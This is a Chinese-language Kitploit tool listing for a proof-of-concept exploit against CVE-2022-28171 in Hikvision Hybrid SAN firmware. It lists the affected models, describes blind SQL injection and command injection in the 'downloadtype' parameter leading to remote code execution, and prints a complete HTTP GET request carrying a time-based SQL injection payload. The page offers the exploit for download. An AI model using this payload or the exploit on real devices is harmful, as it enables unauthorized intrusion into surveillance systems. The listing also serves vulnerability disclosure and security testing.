Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-28171-POC — Python 漏洞利用程序，针对 CVE-2022-28171，攻击 Hikvision Hybrid SAN 设备，自动化盲注 SQL 注入和命令注入，以实现远程代码执行。 | Kitploit
工具/GitHubGitHub/nyameeeain/cve-2022-28171-poc
物联网安全漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubnyameeeain/cve-2022-28171-poc

CVE-2022-28171-POC

Python 漏洞利用程序，针对 CVE-2022-28171，攻击 Hikvision Hybrid SAN 设备，自动化盲注 SQL 注入和命令注入，以实现远程代码执行。

查看仓库
4113年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-28171-POC

我最初将此发布在 ExploitDB 上，你可以在 https://www.exploit-db.com/exploits/51607 找到它

Hikvision Hybrid SAN Ds-a71024 固件 - 多个远程代码执行漏洞

root@kitploit:~
# Date: 16  July 2023
# Exploit Author: Thurein Soe
# CVE : CVE-2022-28171
# Reference Link: https://cve.report/CVE-2022-28171
# Vulnerable Versions:
Ds-a71024 Firmware
Ds-a71024 Firmware
Ds-a71048r-cvs Firmware
Ds-a71048 Firmware
Ds-a71072r Firmware
Ds-a71072r Firmware
Ds-a72024 Firmware
Ds-a72024 Firmware
Ds-a72048r-cvs Firmware
Ds-a72072r Firmware
Ds-a80316s Firmware
Ds-a80624s Firmware
Ds-a81016s Firmware
Ds-a82024d Firmware
Ds-a71048r-cvs
Ds-a71024
Ds-a71048
Ds-a71072r
Ds-a80624s
Ds-a82024d
Ds-a80316s
Ds-a81016s

厂商描述：

Hikvision 是一家全球领先的安防制造商和供应商，为民用和军用目的提供视频监控和物联网（IoT）设备。部分 Hikvision Hybrid SAN 产品存在多个远程代码执行漏洞，例如命令注入、盲 SQL 注入、HTTP 请求走私和反射型跨站脚本。这导致了远程代码执行，从而可能执行任意操作系统命令等。

漏洞描述

手动测试确认，“downloadtype”参数存在盲 SQL 注入和命令注入漏洞。 由于应用程序位于防火墙后面，SQLmap 的所有请求均被阻止，因此我编写了一个 Python 脚本来自动化并枚举 SQL 版本。

请求体

root@kitploit:~
Request Body:
GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1
Host: X.X.X.X.12:2004
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close
下载工具